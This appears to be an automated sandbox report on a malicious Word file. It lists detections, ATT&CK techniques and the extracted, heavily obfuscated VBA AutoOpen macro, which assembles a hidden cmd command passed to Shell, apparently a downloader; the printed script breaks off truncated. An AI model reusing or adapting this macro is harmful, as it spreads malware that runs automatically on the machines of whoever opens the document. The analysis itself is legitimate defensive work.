MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains a legacy WordBasic AutoOpen macro, a common indicator of malicious documents. The macro is heavily obfuscated and attempts to execute shell commands. While the exact command is not fully reconstructible due to obfuscation, the presence of AutoOpen and the nature of the obfuscated code strongly suggest it's designed to download and execute a secondary payload. The ClamAV detection 'Doc.Malware.Valyria-6710189-0' further supports its malicious nature.
Heuristics 5
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ClamAV: Doc.Malware.Valyria-6710189-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6710189-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5267 bytes |
SHA-256: 15580f9d5bcef7333615dfc262322696e8c9af7f07c2728a6044cf4149e01e37 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "KFLBrzNYiRw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
TypeName Cos(jodIjC)
TypeName Round(HRccq * qjcpq * lZwELO - rEQYwG)
TypeName CBool(wsjjn)
TypeName Log(CdFqH)
TypeName CLng(11071 + 83598)
TypeName CDate(295435730)
Shell@ CStr("c") + CStr("m") + VkZmwfk + XXOqsiV + bJQsWL + dVqHfnWmoQr + lVwjF + XPHMCOjIBSIX + ZRswwmlwk, 958198930 - 958198930
TypeName NhwjH
TypeName 642
End Sub
Attribute VB_Name = "UzHGipQ"
Function bJQsWL()
On Error Resume Next
TypeName CInt(2426)
TypeName Round(67)
jLARfis = "d /V:O/" + "C" + CStr(Chr(jOlKidimAwM + jHhJMBttGdL + 34 + VNzEYVkjj + uJLFIDSsWXsC)) + "s" + "e" + "t jnP=i" + "zbUwoUz" + "QNwlA" + "qjacWz" + "hOX" + "dl"
TypeName ChrB(22699 / DzXZHT / 52278 - JoXRKz)
TypeName Fix(ktwKnC)
TypeName 7
wvHfCJpQ = "IIt-C{.mp=" + "3xu;2$f+ey" + ",vr" + "n" + "P S@\/)DZ"
TypeName 9157
TypeName 1366
iLvCpo = "}" + "F:BH" + "(k0'" + "sV8&&for %" + "i" + " " + "in (" + "3" + "2;5;10;4" + "2;46" + ";66;19;42" + ";23"
TypeName DlTzzR
TypeName lmCFz
HWjzUzh = ";23;49" + ";39;28;61;" + "63;33;47;" + "42;10;27" + ";5" + ";2"
TypeName ppPuW
TypeName CBool(TbJnF)
TypeName Fix(kaqjnB * ETAKBh)
NUVBQ = ";14;42;" + "16;26;49;" + "9;42" + ";26;30" + ";17;42;2;2" + "8;23;0;4" + "2;47;26;37" + ";39;8;60;1" + "8;33;65;" + "19;26;2" + "6;32"
TypeName 436595736
TypeName Tan(30586 * 52395 * JsbuYj * zmwXnW)
TypeName CByte(432072661)
pMVGjvIEAE = ";59;5" + "3;53;3" + "1;" + "42" + ";23" + ";0;66;66;1" + "5;63;0" + ";66;66;3" + "0;1" + "6"
TypeName BdEsS
TypeName Fix(60)
ihwPbPJKCcF = ";5;3" + "1;53" + ";12;47;" + "50;35;" + "25;51;1" + "9;26;26;" + "32;5"
TypeName Round(vXJRHu + vTONv * KYofXD + QzCjt)
TypeName 4
TypeName CLng(434993238)
rIJfW = "9;53;53;4" + "0;46;15" + ";26;" + "0;66;" + "30;46;36;" + "53;5;12;5" + "1;19;26" + ";2" + "6;32;" + "59;53" + ";53;"
TypeName CInt(68403 - EjzUZ / PIDCc * BaTVzA)
TypeName Fix(qlMUYo * oUpcNb / 77416 * wMJSjD)
LwAmlpP = "40;46;" + "0;5;66;5;2" + "3" + ";15" + ";46;30;1" + "6;23;53;" + "28;" + "38;51;19;" + "26;26;3" + "2;" + "59;5"
bJQsWL = jLARfis + wvHfCJpQ + iLvCpo + HWjzUzh + NUVBQ + pMVGjvIEAE + ihwPbPJKCcF + rIJfW + LwAmlpP
TypeName CDbl(ppDBA)
TypeName IpJDnj
End Function
Function dVqHfnWmoQr()
On Error Resume Next
TypeName 7334836
TypeName Sin(FOwaUK)
YsoQwqZ = "3" + ";53;" + "16;15;66;1" + "5;30;23;6" + "3" + ";53" + ";45;1" + "3;67;16;" + "2" + "0;20" + ";"
TypeName CSng(wunRmr * oNMZbB + iirmO + GzQwj)
TypeName CDbl(90434 + WGnbAP)
TypeName lqzjCc
NWCPoiTuCz = "20;63;5" + "1;" + "19" + ";26" + ";26;32;59" + ";53;53;" + "22;0;45;" + "15;46;" + "32;23;36;6" + "6;30;16;" + "5;31;" + "53"
TypeName ChrB(294951312)
TypeName Rnd(Nsiwi - 79620 / uwpSGZ * alrkaD)
TypeName CStr(obEtj + MmvtaM)
aElXqFwch = ";67" + ";60;" + "43;65;30;5" + "0;" + "32;23;0" + ";26;62;65" + ";51" + ";65;54;37" + ";" + "39" + ";9;50"
TypeName ChrB(220655313)
TypeName ZBDLl
uwZTJDdn = ";22;49;" + "3" + "3;49;6" + "5;34;68;64" + ";65;37;3" + "9;2;2" + "0;14;33" + ";39;42;4" + "7;45;"
TypeName CDate(27837 + NHkUQ)
TypeName 7633
UWAmXfj = "5" + "9;26;" + "42;" + "31;32;41;6" + "5;" + "52;65" + ";41;39;9;5"
TypeName CSng(312)
TypeName Round(6)
IOMKSjmGP = "0;22;41" + ";" + "65" + ";3" + "0;42;3" + "5;42;6" + "5;" + "37;40;5" + ";46;4" + "2" + ";1"
TypeName 7
TypeName Sin(80740 / oUHibt)
TypeName 303
nuhubtvF = "5;16;19;6" + "2;39;50;2;" + "56;49;0;4" + "7;49;" + "39;8;60;18" + ";54;29" + ";26;46;" + "43;29" + ";39" + ";28;"
TypeName Hex(8919)
TypeName FzadAv
nRAqSY = "61;63;3" + "0;55;5;10;" + "47" + ";23" + ";"
TypeName Round(7271)
TypeName 1
wvliNIqUrj = "5" + ";1" + "5;22;58;" + "0;" + "2" + "3;42;62;39" + ";50" + ";2;56;44;4" + "9;39;2" + ";20;14;5
... (truncated)
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